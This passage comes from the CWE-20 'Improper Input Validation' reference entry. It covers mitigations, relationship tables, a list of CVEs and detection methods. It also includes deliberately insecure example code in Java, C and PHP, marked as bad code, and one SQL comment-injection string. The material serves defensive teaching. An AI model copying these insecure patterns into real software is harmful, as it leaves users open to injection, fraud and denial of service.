Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

raw data - strings, numbers, parameters, file contents, etc.
metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
implied or derived quantities, such as the actual size of a file instead of a specified size
indexes, offsets, or positions into more complex data structures
symbolic keys or other elements into hash tables, associative arrays, etc.
well-formedness, i.e. syntactic correctness - compliance with expected syntax
lexical token correctness - compliance with rules for what is treated as a token
specified or derived type - the actual type of the input (or what the input appears to be)
consistency - between individual data elements, between raw data and metadata, between references, etc.
conformance to domain-specific rules, e.g. business logic
equivalence - ensuring that equivalent inputs are treated the same
authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory) An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.
Confidentiality	Technical Impact: Read Memory; Read Files or Directories An attacker could read confidential data if they are able to control resource references.
Integrity Confidentiality Availability	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.

Potential Mitigations

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy: Input Validation

Effectiveness: High

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	707	Improper Neutralization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	179	Incorrect Behavior Order: Early Validation
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	622	Improper Validation of Function Hook Arguments
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1173	Improper Use of Validation Framework
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1284	Improper Validation of Specified Quantity in Input
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1285	Improper Validation of Specified Index, Position, or Offset in Input
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1286	Improper Validation of Syntactic Correctness of Input
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1287	Improper Validation of Specified Type of Input
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1288	Improper Validation of Consistency within Input
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1289	Improper Validation of Unsafe Equivalence in Input
PeerOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	345	Insufficient Verification of Data Authenticity
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	41	Improper Resolution of Path Equivalence
CanPrecede	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CanPrecede	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	770	Allocation of Resources Without Limits or Throttling

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	129	Improper Validation of Array Index
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1284	Improper Validation of Specified Quantity in Input

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	15	External Control of System or Configuration Setting
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	73	External Control of File Name or Path
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	102	Struts: Duplicate Validation Forms
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	103	Struts: Incomplete validate() Method Definition
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	104	Struts: Form Bean Does Not Extend Validation Class
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	105	Struts: Form Field Without Validator
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	106	Struts: Plug-in Framework not in Use
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	107	Struts: Unused Validation Form
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	108	Struts: Unvalidated Action Form
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	109	Struts: Validator Turned Off
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	110	Struts: Validator Without Form Field
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	111	Direct Use of Unsafe JNI
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	112	Missing XML Validation
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	114	Process Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	117	Improper Output Neutralization for Logs
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	134	Use of Externally-Controlled Format String
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	170	Improper Null Termination
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	190	Integer Overflow or Wraparound
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	466	Return of Pointer Value Outside of Expected Range
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	785	Use of Path Manipulation Function without Maximum-sized Buffer

Modes Of Introduction

Phase

Note

Architecture and Design

Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

Applicable Platforms

Languages

Class: Not Language-Specific (Often Prevalent)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

(bad code)

Example Language: Java

...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

(bad code)

Example Language: C

...
#define MAX_DIM 100
...
/* board dimensions */

int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){

die("No integer passed: Die evil hacker!\n");

}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){

die("No integer passed: Die evil hacker!\n");

}
if ( m > MAX_DIM || n > MAX_DIM ) {

die("Value too large: Die evil hacker!\n");

}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

(bad code)

Example Language: PHP

$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

(attack code)

2009-01-09--

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(bad code)

Example Language: Java

private void buildList ( int untrustedListSize ){

if ( 0 > untrustedListSize ){

die("Negative value supplied for list size, die evil hacker!");

}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();

}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 5

This Android application has registered to handle a URL when sent an intent:

(bad code)

Example Language: Java

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

if("com.example.URLHandler.openURL".equals(intent.getAction())) {

String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}

}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

Reference	Description
CVE-2024-37032	Large language model (LLM) management tool does not validate the format of a digest value (CWE-1287) from a private, untrusted model registry, enabling relative path traversal (CWE-23), a.k.a. Probllama
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
CVE-2021-30860	Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
CVE-2021-30663	Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
CVE-2021-22205	Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.
CVE-2021-21220	Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.
CVE-2020-9054	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
CVE-2020-3452	Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
CVE-2020-3161	Improper input validation of HTTP requests in IP phone, as exploited in the wild per CISA KEV.
CVE-2020-3580	Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
CVE-2021-37147	Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending"
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric.
CVE-2008-3477	lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
CVE-2008-3843	insufficient validation enables XSS
CVE-2008-3174	driver in security product allows code execution due to insufficient validation
CVE-2007-3409	infinite loop from DNS packet with a label that points to itself
CVE-2006-6870	infinite loop from DNS packet with a label that points to itself
CVE-2008-1303	missing parameter leads to crash
CVE-2007-5893	HTTP request with missing protocol version number leads to crash
CVE-2006-6658	request with missing parameters leads to information exposure
CVE-2008-4114	system crash with offset value that is inconsistent with packet size
CVE-2006-3790	size field that is inconsistent with packet size leads to buffer over-read
CVE-2008-2309	product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning
CVE-2008-3494	security bypass via an extra header
CVE-2008-3571	empty packet triggers reboot
CVE-2006-5525	incomplete denylist allows SQL injection
CVE-2008-1284	NUL byte in theme name causes directory traversal impact to be worse
CVE-2008-0600	kernel does not validate an incoming pointer before dereferencing it
CVE-2008-1738	anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
CVE-2008-1737	anti-virus product allows DoS via zero-length field
CVE-2008-3464	driver does not validate input from userland to the kernel
CVE-2008-2252	kernel does not validate parameters sent in from userland, allowing code execution
CVE-2008-2374	lack of validation of string length fields allows memory consumption or buffer over-read
CVE-2008-1440	lack of validation of length field leads to infinite loop
CVE-2008-1625	lack of validation of input to an IOCTL allows code execution
CVE-2008-3177	zero-length attachment causes crash
CVE-2007-2442	zero-length input causes free of uninitialized pointer
CVE-2008-5563	crash via a malformed frame structure
CVE-2008-5285	infinite loop from a long SMTP request
CVE-2008-3812	router crashes with a malformed packet
CVE-2008-3680	packet with invalid version number leads to NULL pointer dereference
CVE-2008-3660	crash via multiple "." characters in file extension

Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner
Web Services Scanner
Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester
Framework-based Fuzzer

Cost effective for partial coverage:

Host Application Interface Scanner
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	751	2009 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	872	CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	994	SFP Secondary Cluster: Tainted Input to Variable
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1005	7PK - Input Validation and Representation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1382	ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1406	Comprehensive Categorization: Improper Input Validation
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-20 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available [REF-1287]. It is not useful for trend analysis. It is also a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider lower-level children such as Improper Use of Validation Framework (CWE-1173) or improper validation involving specific types or properties of input such as Specified Quantity (CWE-1284); Specified Index, Position, or Offset (CWE-1285); Syntactic Correctness (CWE-1286); Specified Type (CWE-1287); Consistency within Input (CWE-1288); or Unsafe Equivalence (CWE-1289).

Suggestions:

CWE-ID	Comment
CWE-1284	Specified Quantity
CWE-1285	Specified Index, Position, or Offset
CWE-1286	Syntactic Correctness
CWE-1287	Specified Type
CWE-1288	Consistency within Input
CWE-1289	Unsafe Equivalence
CWE-116	Improper Encoding or Escaping of Output

Notes

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Terminology

